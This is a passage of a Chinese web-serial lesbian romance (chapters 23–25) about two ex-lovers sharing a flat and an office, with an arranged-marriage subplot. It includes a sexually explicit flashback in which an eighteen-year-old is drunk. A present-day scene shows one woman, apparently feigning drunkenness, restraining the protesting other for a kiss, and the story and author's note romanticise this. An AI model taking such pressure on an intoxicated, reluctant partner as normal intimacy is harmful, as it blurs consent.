“大家说总部那边的人都是这样的,而且最近加班的次数确实很多。”姜又柠嘟嘟囔囔着,“诗文也跟我讲了,庄玟是个工作狂,你俩加到一起,部门裏的人肯定没活路。” “你老提庄玟做什么?”岑曳将手上的水往围裙上擦了擦,“她是负责对接的,不止我们部门,还有总部在国内的合作方,你不会经常在部门见到她的。” “提一提你的好朋友还不乐意?”姜又柠嗔她一眼,“你在国外过得多好啊,跟同频的人一起竞争一起进步,我看比在国内好多了。” 岑曳抿唇,甩了甩手,水渍落在油锅裏,溅了下。 姜又柠往后跳了下,“喂!岑曳!你溅到我啦!” “看你过得也不错。”岑曳帮她清洗好所有的蔬菜,靠着门框悠悠看她。 “我哪裏过得不错了?加班多就是过得不错吗?我可没爱加班这种癖好。”姜又柠将排骨倒进锅裏,“我过得好可怜的,你是没看见。” “嗯,要是有我在,你就不会这么可怜,是吗?” “我没这么说!”姜又柠反驳她,“我有钱,我想吃海鲜就买,想出去旅游立马买票!只是我朋友圈开了三天可见,不然你就知道我之前过得有多潇洒。” 海鲜都是一时上头花钱买的,旅游也是买好了票,但上个东家总爱临时call人,票只能退掉,还白掏了手续费。 若是朋友圈开放了,岑曳看不到她的潇洒,只能看见她的疯狂吐槽。 不过吹吹牛过嘴瘾还挺有意思的,至少她在岑曳面前能够装一把。 分手了她可以过得更好,她不是离了岑曳就活不下去的。 两个肉菜一前一后端上了桌,清炒时蔬也快得很。 姜又柠还是很有做饭的天赋的,虽然生疏了但看着姜鸿英的教程也能很快就复习上手。 以前在岑家的时候,她也跟岑曳一起做过好几次饭。 表面上岑曳对姜鸿英说今天不用来岑家,其实姜又柠死缠烂打非要自己大展身手给岑曳看看。 一回生二回熟,第一次的排骨炒成了黑煤球,第二次就变得美味多了。 而现在,这份糖醋排骨变得更加美味。 岑曳夹起一块放进嘴裏,慢条斯理地品尝。 姜又柠从冷冻层拿出刚刚放进去的可乐和啤酒,“冻了会儿,是凉的,可以喝了!” “想喝酒啊?” 姜又柠点点头,“就喝一点点,我们两个喝一罐,行吗?” 她早就想喝了,之前跟江诗文聚餐,江诗文告诉她,喝酒喝到微醺的时候,脑子麻麻的,身子轻飘飘的,这个时候不会想起任何伤心的事情。 今天中午她被姜鸿英说得情绪上来,也想用酒精稍稍麻痹一下自己。 看到女人点头应允,姜又柠笑了笑,倒了满满的两杯。 饭吃得很沉默,除了岑曳的几句夸赞,姜又柠就找不出什么可以聊的话题了。 聊近况吗?她们上班下班都在一起。 聊没能见面的日子吗?那或许会有人醋意大发。 过去…… 过去就聊不得了。 两荤一素实在太下饭了,两个人很快就将这顿饭扫得一干二净。 可乐喝了一瓶,啤酒倒是喝了将近三瓶。 晕眩的感觉上来了,姜又柠看向对面的岑曳,现在尴尬的感觉彻底没了,反而觉得这女人越看越好看了。 岑曳起身将碗收了放进厨房的水池子裏,姜又柠跑进来,“我来洗我来洗!说好了要请你吃饭的,但超市又是你结的账!” 岑曳没有听她的,打开了水龙头,“你不是说了吗?一个人做饭一个人洗碗,过去的话放到现在就不作数了吗?” “过去是过去嘛,现在是特殊情况。”对于过去的事情,姜又柠话总说得很谨慎。 不过岑曳似乎比她坦荡很多。 碗被洗干净了,岑曳转身走进了洗漱间。 姜又柠知道她是要去好好洗一遍她的手,便自发地洗了圣女果。 她又买了一箱圣女果,闲暇的时候就喜欢洗一碗,抱着在沙发上看电视。 人的口味真奇怪,她不爱吃番茄味儿的火锅和饭,却喜欢吃圣女果,明明这些东西的味道很相似。 她洗得很认真,圣女果要一颗颗搓洗,十几分钟端着碗去客厅的时候,岑曳正盘腿坐在沙发上,茶几上放着没喝完的第三瓶啤酒。 女人闭着眼睛,头微微后仰,整个人的姿态有些懒散,也有些醉。 “吃圣女果吗?”姜又柠走到她面前,将碗递给她。 岑曳没应,姜又柠便坐在她身边,小心翼翼地将脑袋凑过去,“岑曳,你睡着啦?” 她用手指戳了戳她的脸颊,感觉到女人皱了皱眉,眯了眯眼睛。 “柠柠……” 姜又柠对上她的视线,坐直了身体,上半身有些紧绷。 她拿了颗圣女果递到她嘴边,“吃吗?” 岑曳张了张唇,贝齿咬破圣女果,酸酸甜甜的汁液在口腔内迸发出来。 手没能收回去,女人抓住她的手,往自己的额头探,“柠柠,我可能有点醉了……” “醒酒汤,怎么煮?”姜又柠任由她抓着自己,“我不会这个。” 以往都是岑曳帮她煮,姜又柠倒是从来没想过要学。 “你不舒服吗?”姜又柠主动探了探她额头的温度,小声嘟囔,“现在的酒量怎么比之前还要差了……” 岑曳依旧没放开她的手,“还好,我休息一会儿就好了。” 姜又柠终于开始挣扎,但女人的手攥得很紧。 算了,她不跟喝醉的人计较。 姜又柠另只手拿起茶几上的啤酒摇了摇,裏面是空的,“都吃过饭了干嘛还要喝……该不会是不怎么喝这些劣质啤酒,喝难受了吧?” 还真有这个可能。 “我给你倒热水去。”姜又柠站起身又因为手被岑曳抓住没能往前走几步。 岑曳冷不丁被她起身的力道拖拽了下,手撑在沙发上,模样有些颓。 姜又柠见状,有些急,她抱住女人的腰,让她靠着自己的肩,“我把你扶到床上去?” “太脏了。” 女人的嗓音掺了些虚,灼热的呼吸喷洒在她的脖子上,姜又柠缩了下肩膀缓解痒意。 “都难受成这样了还怎么洗澡?你会生病的!” 走也走不脱,扶她也不肯,但这样抱着也不是姜又柠想继续的。 “那去我的屋?”姜又柠试探性地问。 “……好。” 答应得倒是快。 “站得稳吗?”姜又柠将她扶起来,尽管岑曳有些醉了,但身子的重量还是没有完全放在她身上。 “有点晕。” 两个人并排往前走着,姜又柠觉得自己的力量有些多余,好像岑曳在主动往她的房间的方向走。 到底晕不晕? 房间有些乱,姜又柠将女人扶在床上之后地上显眼的几个箱子全踢到墙角,床上那个狐貍玩偶更是严严实实地藏在了枕头下面。 姜又柠半跪在床上,贴身过去,“要不要给你倒水喝啊?” 岑曳掀了掀眼皮,“我躺你床上,方便吗?” “方便啊。”姜又柠侧躺在她身边,双手合十枕在脑袋下面,“你睡觉吧,我一会儿睡沙发也行,或者你不嫌弃的话,我洗个澡去你房间睡?” 女人轻轻地笑,“不能也在这儿睡?” “那怎么行?”姜又柠一惊一乍的,往后挪了挪,却被女人扯过去搂在怀裏。 “岑曳!我看你喝醉了我不跟你计较!你现在把我放开!” 岑曳长嘆了一口气,格外舒适,她的头埋在姜又柠的颈窝裏蹭了蹭,“总要给喝醉的人一点犯错的机会吧?” “犯什么错?!”姜又柠推了她一下,下一秒双手都被岑曳禁锢住了。 “抱一会儿就行,什么都不做。”女人的话很轻,“有些过去犯过的错现在不该再犯了对吗?” “也,也不是……”姜又柠脑子乱乱的,“等一下啊!我也不是说现在能犯错的意思!也没说过去有犯什么错的意思!” “你也醉了吧?”岑曳笑出声来,“话都说不清楚了。” 她的手指点了点姜又柠的唇,“牙尖嘴利的,跟过去一模一样。” 姜又柠挣脱不开,感受着女人柔软的身子,想起过去她们醉酒时的状态。 岑曳就这样紧紧抱着她,说些甜言蜜语,姜又柠这时候也不肯认输,说着酸到牙痛的真心话。 什么永远爱你,什么永远不分开…… 大概醉酒的话都不能当真,因为那都是些无法实现的真心话。 “可回不到过去了……人总是要成长、要独立的。”姜又柠茫然地望着天花板,“没有谁是离不开谁的。” “还记得吗?你喝醉了总喜欢说胡话。”岑曳五指落在她唇尖,制止的意思很明显,“现在也是吧?” “我说的都是真话,过去是,现在也是。” 姜又柠垂眸,视线落在女人的面容上,忍不住吞咽了下口水。 “柠柠,现在我还挺想吻你的。” 脑子裏‘嗡’了下,像有烟花绽开,姜又柠更不敢乱动了,在女人的怀裏更加僵硬了。 “还说我,你也喝醉了开始说胡话了!” 岑曳的指腹摩挲着她的唇,眸光迷离,“可我要是没醉呢?”—— 作者有话说:好喜欢诱攻,再这样我们小姜要抵抗不住了啦!! p:明天夹子,晚上十一点更新~~ 第24章 话说得太直白了, 姜又柠忍不住往下想。 她们该做些别的事情吗? 但按照她们的关系,没办法顺理成章。 “……那我就当你是喝醉了。” 说完女人就轻轻地笑,倒让姜又柠觉得她自己好像说错了话一样。 温热的呼吸距离她更近了些, 先是颈窝,之后是她绯红的双颊。 姜又柠吞咽了下,试图推开岑曳, 但刚刚探出去的手就被女人握住,放在了她的脖颈上。 两个人的指尖都带着烫意, 几乎要将对方灼伤。 岑曳凑近她的唇边, 细细用视线描绘许久。 “……岑曳!”姜又柠侧了下, 女人的唇落在了她的颊边。 一声微妙的喟嘆, 岑曳的头垂下来,枕在她肩上,“我们柠柠跟小时候一样,挨了骂就喜欢跑来我这儿让我哄你。” “是我没收住情绪, 你要是不想, 我下次不会了。” 难过的情绪倒是早就消散了,现在被心慌意乱彻底取代,姜又柠不知道该怎么办。 姜鸿英才跟她说过的,不要再去做些异想天开的事情。 人不能堵自己总有好运气,更何况她们之间的家庭影响因素实在太大了。 “没收住情绪吗?”岑曳反问她, 语气裏带着细微的讽意, “那我要是没忍住亲了你, 算不算我们扯平了?” “岑曳,这是两码事儿!”姜又柠含糊得很,“我,我可以当你喝醉了, 我也喝醉了……” “那不是更应该趁着喝醉了做些有意思的事情?” 姜又柠实在受不了当下这种迷离的气氛,她用力去推面前的女人,但岑曳支撑起身体,拢住她所有能够逃离的方向,目光紧紧盯着她,“还记得我们的第一次吗?你跟现在一样,勾了我,但最后却怕了……?” 旧事重提,姜又柠记得自己是怎么主动吻上岑曳的。 她长相乖巧,熟了才知道是人来疯,在岑家待久了,被岑曳宠多了,慢慢就张扬起来了。 岑曳很少在学习和生活上批评她,成绩差就帮她补课,要是不在家姜又柠还会大胆地给她打个视频过去,不管她是不是在忙。 生活上岑曳过分干净,两个人在家裏独处的时候岑曳就会成为唯一做家务的人。 这些事情姜又柠当然不敢让姜鸿英知道。 在她初中和高中这两个重要阶段,少女情愫正是慢慢萌芽的时候,没人能不爱上这样的岑曳。 对她好,包容她的缺点,偶尔还会逗弄她陪她玩儿,当喜欢的情绪在心裏诞生的时候,姜又柠一下子就预料到了。 她喜欢岑曳,也不想她只把自己当妹妹。 可岑曳有自己的生活,她只是家政的女儿,她不能有什么期待。 直到她十八岁,就像六年前岑曳十八岁那样,她们的关系迎来了新的转折点。 岑曳帮她过生日,帮她庆祝她拿到本市最好的A大—— 隔壁普本的通知书。 岑曳帮她补了十三个礼物,从一岁到十二岁的,还有十八岁的。 许生日愿望的时候,姜又柠要她跟自己一起闭上眼睛,最后悄悄凑近女人的颊边,轻轻落了一个吻。 她不敢太过分,亲完就乖乖坐好,迅速转移了话题,“我来切蛋糕!” 岑曳感受到她的亲吻,睁开眼睛,淡淡盯着她看,许久都没说话。 姜又柠头都不敢抬,将切好的第一块生日蛋糕放在了女人的面前。 “柠柠。” “嗯……?”姜又柠轻应,抬了头又迅速垂下。 “生日快乐。” “谢谢岑曳姐……”姜又柠脸早就红透了,就像蛋糕上的樱桃,红得要滴出血来。 她吃着第二块蛋糕,心裏还在回味着刚才那个短暂的偷亲,叉子叉了好几下蛋糕,上面的水果也总是因为她的手抖而掉下来。 “胆子这么小?” 她听见岑曳这样问她,下一秒就不小心把手裏的蛋糕摔了。 白花花的奶油黏了一地,姜又柠道着歉,又用纸巾去擦拭地毯上的污渍。 “我来收拾吧。”岑曳简单擦掉了表面的奶油,随后将地毯卷起来靠在了墙角。 “……地毯很贵。” “送去清洗一下就好了。”岑曳站在不远处,比跪坐在地上的她要高出很多。 两个人凭空对视着,姜又柠看得最清晰的是女人的那双唇。 岑曳没生气吗?甚至根本不在意吗? 如果这样的话,那她刚刚是不是应该去亲她的嘴? 可说她胆子小,到底是不是在暗示这件事情? “其实妈妈本来说今天要跟我一起过生日的,但是碰上公司季度表彰大会了,她是荣誉员工,得去上臺领奖。”姜又柠说,“我想让她去拿奖,还劝了她好久呢,生日我改天再过也可以。” “你想我陪你过是不是?” “其,其实生日在不在当天过也没关系啦,好几次生日的时间都在学校,不都是之后补过的嘛。” “但这次很巧,不是吗?你的成人礼,是我陪着你的。” “是呀岑曳姐,真谢谢你……” “为什么突然这么客气?” 姜又柠深吸一大口气,她真的要被自己吓死了,急冲冲转移话题,想让偷亲那个事情从自己的脑子裏转移出去。 但每每提起一个新的话题,岑曳总能给她扯回来让她再去想一些不该想的事情。 姜又柠不敢再回答,转过身去切第三块蛋糕,她感受到女人走了回来,再次在她对面坐下。 岑曳也跟着她养成这个坏习惯了,茶几矮,都要坐在地上。 但现在地毯没了,地上硬硬的,坐得姜又柠屁股凉,心裏也发凉。 “姐姐,你吃蛋糕吧,每次生日妈妈都给我买这家的蛋糕,这家蛋糕上的樱桃很甜很好吃。” 岑曳看她实在太紧张,不再聊些敏/感的话题,“刚刚许了什么愿望?” “愿望说出来是不是就不准了?” 她真是个自私的小孩儿,没许健康快乐,没许发大财,就只许了希望自己跟岑曳永远在一起。 但她总会长大的,姜鸿英也不可能在岑家干一辈子的。 岑曳起身去冰箱裏拿出了一份冰激凌蛋糕,“刚才的愿望告诉我,你可以再许一个新的。” “你,是不是猜到我的愿望了?” “嗯……”岑曳思索了下,侧头看她,“好像感受到了?” 姜又柠疑惑,“感受到了?” 女人点点头,手指轻触了几下自己的脸颊,“这裏,感受到了。” “我能喝酒吗?我现在成年了,可以喝了吧?” 她偷偷做的事情被挑明了,姜又柠完全没了往日张扬的气焰。 她听说,酒可以麻痹人的神经,让人自主地忘掉一些事情。 她想试试。 岑曳当然如她的愿,去拿了红酒,在她看不见的地方弯了弯唇。 姜又柠喝得急,岑曳没劝她,看着她将半杯红酒下了肚。 “你会喝醉的,难受的话就告诉我。”女人问,“还想喝第二杯吗?” “想!” 紧接着是第二杯,是第三杯,岑曳思索着家裏有没有可以煮醒酒汤的食材,或者柠檬之类的。 “姐姐,刚才你猜对了我的愿望。”姜又柠望着面前逐渐现出重影的岑曳,“我,我现在能许新的愿望吗?” 冰激凌蛋糕上被点了蜡烛,化得更快了。 姜又柠撑在桌面站起来,摇摇晃晃地朝着对面走。 “我来许我的新愿望了……” 她实在站不稳,摔在沙发一侧,岑曳扶住她的腰,姜又柠盯着面前近在咫尺的女人,勇敢地吻上了她的唇。 岑曳给了她许新愿望的机会,给了她胆大的机会。 这双唇实在太软,她也念了太久,担心岑曳嫌她是小屁孩,嫌她幼稚,嫌她不爱学习,每天做着逃课不上学的梦,其实每节课都老老实实地坐在位子上发呆。 两双唇贴了几秒钟,姜又柠呜咽着,“这就是我的新愿望。” 说出来不灵又怎么样? 在她许的时候这个愿望就已经实现了。 “喜欢我?”岑曳不是含糊的人,搂过她的腰没让她羞赧地逃走。 “喜欢!”姜又柠毫无顾忌地承认了,随后又怯生生地开口,“可以喜欢吗?” “当然可以。”女人轻轻地笑,指腹摸索着她的唇,“我不是说过吗?在我这裏,柠柠做什么都可以。” “那我想再亲一次!” 岑曳无奈笑笑,这次主动吻上了她的唇。 主动方换了,姜又柠依旧半坐在地上,双腿蜷成小小的一团,整个人被女人禁锢在沙发角。 岑曳一手按住沙发,另一只手托住她的下巴,舌尖轻轻舔舐着她的唇,吮吸着她的唇珠。 姜又柠没受过这样的吻,根本撑不了多久,她发出微微的喘/息,可她呼吸的权利也被女人剥夺在了唇齿间。 她呜咽一声,双手抓住了女人领口的衬衫,下意识张嘴呼吸,舌尖伸出时,就跟女人的撞上了。 柔软的舌勾缠着,津液交接,黏成细长的丝绷断在唇角,冰冰凉凉的。 “要不要尝尝我买的蛋糕,应该会好吃一些?” 岑曳终于给了她呼吸的空间,姜又柠想也没想就点头。 女人用叉子挖了一小块送到姜又柠的唇边。 冰激凌终于给热到脑袋发昏的她一些缓解的机会,可下一秒岑曳就再次吻了上来。 这个愿望持续得太久太久了。 岑曳含着她的唇瓣,去品尝她口中的蛋糕,甜蜜在唇间渡来渡去。 就像是触电了一样,脑子也嗡嗡的,眼前都冒出了雪花。 “姐姐,我好晕……” 岑曳揉着她的后颈,“因为喝醉了晕,还是别的?” 姜又柠回答不出最准确的答案。 她只是觉得自己太幸福了,这种在万花筒中晕眩的感觉,周围全是香气扑鼻的花,被浇灌了浓郁的酒精,嗅得她中毒,癫狂,还想要得到更多…… “帮你醒醒酒吧。”岑曳捏住她呼吸的鼻子,被姜又柠皱着脸蛋推开手。 女人被她笨拙的动作逗笑,“确实喝得太多了,下次得看好你。” 最近几天没让姜鸿英来家裏,食材放久了容易不新鲜,所以岑曳只找到了几个柠檬。 她榨了汁,又加了冰块喂给姜又柠喝。 姜又柠喝一口就吐了,“……好酸。” “喝一些你不会太晕。” “可我喜欢这样……”姜又柠冲她傻傻地笑,“我觉得很幸福……” 岑曳眉眼含笑,“算了,抱你去床上睡吧。” “就没了吗?”姜又柠有些不舍,她戳了戳女人的胳膊,“我能不能去你房间睡?” “可以。” “那大孩子也可以去你房间睡吗?”这话说得不算对,姜又柠立即改口,“你说小孩子才可以去你的房间睡,可我现在是成年人了,去你的房间睡像话吗?” “还在暗示我吗?柠柠。” 姜又柠咬唇盯着她看,犹豫了几秒钟,点了点头。 岑曳将她打横抱起来,“那就再做些更有意思的事情。” 几分钟之后,姜又柠平躺在了床上,伴随着好闻的洗衣液的芳香,姜又柠怔愣地问,“可是我还没洗澡。” “想在浴室裏?” 姜又柠眨巴几下眼睛,“我只是怕弄脏你的床。” “总会弄脏的。”岑曳的手揉着她腰上的软肉,“换掉就好了。” “我的意思是……” 担心岑曳会觉得有细菌这种话还没能说出口,女人就再一次堵住了她的唇。 她知道岑曳今天给她过生日,所以从集体宿舍过来的时候,特意换上了自己新买的小裙子。 她还喜欢学大人,学的岑曳穿白色衬衫好看又成熟,所以用白色衬衫配上了这条百褶裙。 偷偷跟岑曳穿情侣装这种事情,她自己也经历好几次了,只不过都不敢明说而已。 少女心事终于在今天彻底坦白,她的暗恋似乎得到了一个美好的结尾。 但她更希望这是开始。 女人的唇开始下滑,舌尖依旧舔舐着,不放过她的白皙的脖颈和锁骨,看她因为痒意而瑟缩的身子还会轻轻地笑。 姜又柠受不住她这样的笑声,她的害羞在她面前简直无所遁形。 “怕吗?” 姜又柠吸了口凉气,“有点……” “那先帮你舔舔?” “哪,哪裏……” 岑曳又笑了,“还能是哪裏?” 姜又柠皱起脸蛋来,“能,能吗?” “想吗?”岑曳依旧问她,“你想的话就可以。” 岑曳的话问个没完,每问一句姜又柠脸上的红就更深一层。 亲吻落在了瀑处,姜又柠咬唇,整个人陷入了呆滞裏。 指尖无意识扯了下女人的长发,她呜咽一声说了句‘对不起。’ 她实在忍不住,又不知道双手该落在何处。 白光炸得太快了,姜又柠发出害怕的呜咽声。 好丢脸,在喜欢的人面前暴露这样的自己实在太丢脸了。 “别怕。”女人湿漉漉的唇吻她小腹,用轻语安慰她。 越是安抚姜又柠就越是紧张,她抖个没完,也或许是因为始终没有停下来的温柔的刺激。 岑曳的气息也不算稳,轻吻着她的脸颊帮她平复心情,看她眼眶沁了些湿润,双睫都轻颤着。 “我们慢慢来,好不好?” 姜又柠点点头,“我刚才……丑吗?” “刚才?” “就是……就是……”她说不出来刚刚持续十几秒的那个瞬间。 岑曳不再逗她说出那些羞耻的话,将她拢在怀裏轻轻拍着她,“我看到了更加漂亮的柠柠。” 姜又努力压着上扬的嘴角,最后还是没能忍住,噗嗤一声笑了出来,最后将脑袋埋进女人的怀裏,笑了个没完。 “姐姐,你真好!” “是吗?”岑曳看她亲密的动作,嘆了口气,“现在的我,应该算不上什么好姐姐了。” …… 回忆因为身边人轻吻她的耳朵而被迫抽离,姜又柠的脑子愈发清醒了。 “谁怕了?”她一边喊着,从床上坐起来,“我从来不怕!” 嘴上这样喊,可她来不及穿鞋就下了床急匆匆跑远了几步。 岑曳平躺着,侧着头望过来,眸光中的情绪难以揣测。 女人身上的衬衫皱巴巴的,领口的扣子不知道什么时候开了。 酒精迫使她的双颊泛红,眼睛微眯,气质泛着浓烈的情/欲气息。 姜又柠舔了舔唇,不敢再多看她一眼。 她们现在不是可以随便接吻的关系。 刚刚离那么近是因为岑曳喝醉了。 她跟一个喝醉的人计较什么? 姜又柠给自己洗着脑,但视线还是忍不住落在女人姣好的身姿上。 她确实有点怀念过去的某些时候的,不得不承认,她们在床上格外契合。 但这辈子人不可能只会遇到一个床上契合的人,她还能遇到床上床下都契合的人。 她觉得岑曳现在也挺好的只是因为小时候的滤镜,现在的岑曳比以前要更加成熟了,又去总部见了那么人精,做事肯定有目的。 “我现在去给你煮醒酒汤?” 姜又柠摸不清岑曳到底醉了没有。 因为这女人以往喝醉的时候也是这样逗弄她的,准确来说,醉后逗她的兴致要更高一些。 “说了没醉啊。”岑曳没再看她,眸光中落了些失望。 她顺手摸到了枕头下面的狐貍玩偶,拨弄了几下红色围巾,没什么说话的欲/望了。 “那,那你睡吧,我去主卧了。”姜又柠匆忙逃离这裏,在岑曳房间的大床上躺下了。 终于跟女人隔绝开来,她捂着自己跳动极快的心脏,嘴唇发干发涩,口渴得很。 她是喜欢岑曳的,可那是以前了。 现在她工作了,会遇到不同的人,不同的事情,不能再把眼界放到面前了。 这个世界上有比岑曳更好更优秀的人,说不定她努努力提升一下自己,也能遇到比岑曳更对自己的人。 现在面对岑曳是因为愧疚,如果决定分手她就应该好好说话的,而不是闹得那么难看那么僵。 她不喜欢岑曳,合租是被迫的,是天意,三个月租期到了就各奔东西啊,做什么朋友? 有跟领导做朋友的吗?她脑子还没进水。 可是为什么岑曳身材那么好,她忍不住看,真的忍不住。 姜又柠这次怎么也说服不了自己了,她抱着被子郁闷地将脑袋埋进去。 就不应该没忍住去抱岑曳啊! 之前姜鸿英也警告过她那些话的,甚至一字不差,她不都是自己缓解情绪的吗? 岑曳不在的时候她可以自己熬的,怎么岑曳一出现她就根本忍不住了啊?! 都是岑曳的错! 岑曳干嘛来接她? 她明明没有给岑曳发消息说要来接她! 姜又柠苦恼地发出了闷闷的尖叫声,“怎么办啊……” 她现在好像意识到,当她跟岑曳又一次同处一个屋檐下的时候,她还是无法拒绝岑曳的靠近,甚至还会陷进去…… 这个女人在分别了四年后,也还是对她有着致命的吸引力—— 作者有话说:岑姐这次没亲到哦,下次再接再厉吧,哈哈~~ p:明天开始,固定到晚上八点更新吧~~ 第25章 一大早, 姜又柠顶了个黑眼圈出现在了客厅。 她昨晚一夜没睡好,被岑曳那个要亲不亲的吻弄得精神错乱,生怕自己一闭眼就会做一些不该做的春/梦。 侧卧的房间门关着, 姜又柠小心翼翼地把门打开,床上的被子迭得整整齐齐,那狐貍玩偶被放在了被子的最上方。 根本就是故意这么放嘛。 看来岑曳已经早早上班去了。 早饭来不及吃了, 估计又要迟到了,紧赶慢赶也跟不上打卡, 所以姜又柠悠哉游哉地坐上了地铁。 拎着包子豆浆补了卡坐在工位之后, 姜又柠集中注意力开始忙事情。 岑曳偶尔出来喊人去开会, 姜又柠偷偷打量着她的背影, 脑子还是忍不住回忆昨晚的事情。 幸好她只喝了小半瓶啤酒,不然真怕自己醉了一时糊涂又跟岑曳做了些不该做的事情。 毕竟十八岁那晚,她就是用几杯红酒把自己灌得醉醺醺的,冲着岑曳那张嘴就亲上去了。 酒后是不可控的, 姜又柠格外清楚自己的本性。 旁边开完会回来的江诗文脸色比她还郁闷, 姜又柠一如既往跟她讨论中午吃什么。 “我一会儿得跑外务,跟岑曳姐还有部门几个负责对接的人一起去庄玟那边开会。” “你确定要进这个小组啦?”包子的油渍蹭在手上,她拿湿巾擦了擦,用纸巾包住包子继续吃,“这几天你跟庄玟见过面吗?” “没见过, 手机上倒是聊过几句, 但打字麻烦, 我又不想跟她打电话,她就说见面再说吧。”江诗文说,“兵来将挡水来土掩,大不了就回我妈那儿嘛, 哭一哭求个情我妈肯定也会心软的。” “别啊!”姜又柠可舍不得这个饭搭子,“你先见面看看呢。” 江诗文嘆了口气,填着excel表格,表情分外无奈。 总监办公室裏,岑曳和助理拿着几份打印好的信息表给对接组的几个员工发了下来。 女人在江诗文桌上放下一张A4纸,轻飘飘看了一眼旁边的姜又柠。 姜又柠敏锐地察觉到她这个视线,立即转过头认真盯着电脑屏幕,皱着眉头装出思考的模样。 岑曳没急着走,看着江诗文填表格,双手轻搭在椅背上给她讲哪一项该怎么填。 姜又柠余光瞄不到她,只能清楚地听见她平静的声音。 双手在键盘上敲来敲去,敲出一行乱码又快速地删掉。 “你小时候装着写作业也是这个样子。” 姜又柠震惊地回头,试图用捂住屏幕又觉得尴尬,“你懂什么,我在思考!” “excel的信息录入也需要思考?” “函数公式忘了我想一下不行吗!”姜又柠愤愤开口,“我现在懒得理你。” 一看到岑曳就想起昨晚的事情,她知道现在的自己应该抗拒岑曳的接触,不然发展只会变得难以预料。 恋爱脑最好的解决办法就是没有开始,这样过程就不会太过熬人。 “又生气了?” “被莫名其妙装醉占便宜,是个人都会生气。” 说完岑曳就沉默了,她收走了江诗文填好的表格,头也没回地走向了办公室。 “你们干嘛了?吵架了?”江诗文现在急需一个八卦来转移自己焦灼的心情,“占什么便宜?跟我说说?” “她喝醉了,我把她扶到床上。”姜又柠一字一句地讲,“而已。” “这有什么好生气的?” “你是不知道岑曳她!”姜又柠气愤地对上江诗文的视线。 江诗文点点头,面容上满是鼓励,分明写着‘往下说你继续往下说啊!’ “算了,我这个大度得很,不跟她计较。” “难道是什么醉后暧昧,你俩搞到床上去了?” “可以把你的小说阅读器删掉吗?”姜又柠抿抿唇,“太狗血了。” “但醉后想起前任认错人了这种事情也很正常吧?”江诗文撑着头思索,“我记得,岑曳姐好像是有个前任来着,但我在国外跟她的关系还没有熟稔到可以问这种私事儿的程度。” 她又问,“听说去国外之前就分了,你之前不是住在岑家吗?你知道她前任吗?” 姜又柠深呼吸一口气,“你什么时候出发啊?” “十点。”江诗文看了眼时间,“还有个十分钟吧。” “那你快收拾一下。”姜又柠递给她一盒酸奶,“路上喝,注意安全,一路顺风,再见。” 江诗文还想问什么,助理就已经走过来对她招招手。 “那我走了,也不知道什么时候回来,别太想我啊柠柠。”江诗文不情不愿地起身,跟着部门的几个人一起坐上了车子。 会议地点在国内合作方的部门会议室,总部那边许久没有跟国内谈项目,目前格外重视,所以一行人到达的时候庄玟那边的人已经早早坐下了。 岑曳坐在庄玟身边,问了几句情况。 江诗文抱着笔记本电脑,只剩下庄玟身边的位子,她抿抿唇求助似的看了眼岑曳。 岑曳是当下唯一能救她命的人了。 岑曳自然懂她的意思,开了口要庄玟往那边再挪个位子。 庄玟余光瞄了眼江诗文,没有起身,“不要把个人情绪带到工作场合。” 没能如愿,江诗文冷着脸在庄玟身边坐下了。 岑曳倒是无所谓别人的感情纠纷,没在意这茬儿,很快就把注意力再次放到了会议上。 国内部门要做好的就是配合工作,主要还得看总部那边的想法,所以会议裏多数是庄玟主动提问主动解答,岑曳偶尔补充几句情况。 江诗文的手指敲敲打打,一点儿都不敢分心。 这两个女人在总部的时候就配合默契,这会儿她脑子有些跟不上进度,会议记录记得慢了些。 “责任人标注写清时间和验收标准。”庄玟指了下她的电脑屏幕,“方便追责。” 江诗文点点头,又问,“追,追责?” “总得考虑负面情况,虽然这个概率在我这裏几乎等同于零。” 江诗文扯扯唇,低声吐槽,“谁在乎,装什么……” 她真想坐到岑曳那边,虽然也会点明她没能做好的点,但不至于百般炫耀自己的能力。 会议开了将近两个小时,结束的时候已经快十二点了。 江诗文匆匆扫了眼会议记录就合上了电脑,她还没能仔细检查几遍。 午饭是三个人一起吃的,江诗文想要回部门找姜又柠,但被庄玟喊住。 “得谈谈我们之间的事情了。” “岑曳姐你先别走!反正你跟我俩都认识,你陪我们去吃饭吧。” 岑曳面露为难,她对于当电灯泡没什么兴趣。 “你不是跟柠柠闹矛盾了吗?我跟她关系好,我可以帮你美言几句,怎么样?” 她不知道搬出姜又柠来有没有用,反正她觉得跟室友闹矛盾最尴尬了,同在一个屋檐下,抬头不见低头见的,要么不说话要么就对冲那多讨厌啊? 岑曳手插/进裤子口袋裏,“也行。” 三个人一起找了家幽静的西餐厅坐下,江诗文面前被庄玟递了份菜单,她随便点了份牛排,没什么食欲。 岑曳简单问候了几句庄玟母亲的身体。 “还是老样子,工作强度高也不肯休息,不过我现在给她安排了定期体检,也稍稍能够放心一些。”庄玟说,“岑阿姨那边,最近倒是问我过几次你的情况。” 岑曳抿唇,没有追问什么。 “我跟她说项目刚起步事情多,我不怎么清楚。” 岑家母女有矛盾是稍稍亲近的人多多少少都知道一些的,但都认为是岑曳不乐意留在总部发展才产生的矛盾,更深一步的就不太知晓了。 “我,我妈妈怎么样……”江诗文小心翼翼地主动加入到了这场叙旧中。 她跟母亲也好久没有联系了,她拉不下来那个脸,气自己没本事瞎耍脾气,气自己跑到国内逃避最后也还是被迫面对这件事。 “你在问我吗?”庄玟悠悠看她。 “你要不说就算了。”江诗文憋着火,“等最近忙完了清闲下来之后,我们就去国外把结婚证领了,之后就别再来烦我了。” “去年我就跟你讲过这个解决办法,当时你没同意,现在可能有点晚了。” “怎么晚了?!”江诗文质问她,“你别以为我在国内什么都不知道就能随便拿捏我!” “你妈妈让我趁着这段时间跟你好好发展,她不想让这件事情变得非常为难,顺便把你劝回去,在国外好好生活。” “回不了,我现在在国内生活得挺舒服的,要是没这破事,我待得更舒服。” “两个母亲置办了一套别墅,如果你回去的话需要跟我同居。” “那我就更不能回了!” 谁要跟总部的业界毒瘤同居啊? 上班是上下级,下班是合租室友吗? 现在她好像体会到了姜又柠的痛苦了,不过姜又柠跟岑曳之间也没她们这么难堪。 “那你说,怎么解决?有好的办法我可以全力配合你。” “……没有。”江诗文像洩气的河豚。 “你乐意的话我可以跟她们说你同意了领证的安排,但项目流程长,回去的时间说不准,拖一天是一天好了。”庄玟说,“中间有任何特殊情况我可以独立解决,之后再详细告知你,你不用担惊受怕,全权交给我来处理就好。” “也行。” “但我有个条件。”庄玟平静看她,“我们庄氏并到总部旗下之后,你们在总部的股权要相应的转移一部分比例到我们手裏。” “你也太黑了吧?” 